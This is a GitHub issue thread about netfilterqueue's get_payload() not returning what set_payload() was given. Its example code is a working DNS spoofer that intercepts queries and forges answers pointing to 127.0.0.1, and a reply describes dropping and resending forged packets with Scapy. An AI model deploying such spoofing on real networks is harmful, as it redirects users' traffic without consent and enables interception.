get_payload() doesn't return the thing set_payload() was passed

[yomr]

Here is my code

from netfilterqueue import NetfilterQueue
from scapy.all import *

def print_and_accept(raw_pkt):
   # print(raw_pkt.get_payload())
    pkt = IP(raw_pkt.get_payload())
    localIP = "127.0.0.1"
    if not pkt.haslayer(DNSQR):
        raw_pkt.accept()
    else:
        print("got into spoofing")
        spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)/\
                          UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\
                          DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\
                          an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=localIP))

        print("spoofed ",  spoofed_pkt)
        raw_pkt.set_payload(str(spoofed_pkt))
        new = IP(raw_pkt.get_payload())
        print("new ", new)
        raw_pkt.accept()
nfqueue = NetfilterQueue()
nfqueue.bind(0, print_and_accept)
try:
    nfqueue.run()
except KeyboardInterrupt:
    print('')

nfqueue.unbind()

After the set_payload, when I print the payload , I see the payload same as the input payload.

And I am not the only person who is facing this issue. Similar case here:
http://stackoverflow.com/questions/43319070/netfilterqueue-set-payload-not-work (This issue is raised by another person)

Am I doing something wrong?

[jcm102120]

I am having this exact same issue, i was wondering if you ever figured out what was going on? I am using code that has worked before in the past so i don't think it is an error on my part. I was wondering if there was some update to the kernel that broke this?

[yomr]

I am not sure what is broken in this. And the lack of reply from the contributors did not help either.
So i did a workaround:

1. Get the raw packet(say, raw_pkt) from netfilterqueue
2. Using scapy, build a new packet(say, pkt_new) with the desired values.
3. Drop the raw_pkt
4. Send the new packet(pkt_new) instead! ( Scapy has a send method to send the packet)

This method works for me and should work in general, unless you want some connection oriented features and the client is expecting sequence id or something. Even in that case, this should work but I haven't tested it!

[jcm102120]

Thanks for the work around! Yea it doesn't look like this repo has been active for a little while.

[3wille]

My "workaround" so far ist to use https://github.com/chifflier/nfqueue-bindings. Unfortunately, that works with python2 only and you'll need to compile the C-Extension yourself (with cmake).

[yomr]

@3wille I have tried it earlier. But I don't remember why i did not go with it. Probably it was because of the fact that I need to compile it myself.

[arucard21]

I also noticed this behavior when I tried to confirm that I changed the payload by logging it after I used set_payload(). While the log did seem to show that the payload was not modified, when I checked what was actually being sent with Wireshark it did show my modified packet being set. So what we're getting with get_payload() may just be an unmodifiable version of the original payload but what's actually being sent is still the modified payload. I found this with the git version of netfilterqueue (though it may already work in the latest release at this time, 0.8.1), I'm not sure if this was already working this way when this issue was created.

[arucard21]

I have now tried this with version 0.8.1 as well and it also works with that (on Python 3.6).

[jllorente]

If you take a look at the code, the functions get_payload and set_payload use different variables.

    cpdef set_payload(self, bytes payload):
        """Set the new payload of this packet."""
        self._given_payload = payload

The variable self._given_payload is only used when setting the verdict of the packet with verdict().

I think this issue should be closed :)

[arucard21]

Thanks for finding out why this problem occurs (and where exactly it is). But I think this issue cannot be closed yet.

The problem is that we have a get-method that doesn't reflect the changes made with the corresponding set-method. Getters and setters are fairly common so I think it's natural that this is the behavior that people expect of them. If this is indeed the intended behavior here, I think this needs to be addressed explicitly. Either through documentation, or just renaming the methods (e.g. get_original_payload() and set_outgoing_payload()). But if these are intended to behave like normal getters and setters, then they should both use the same variable (and behave as expected).

Of course, this is just my opinion on this. And personally, I don't really know what the intended behavior should be here.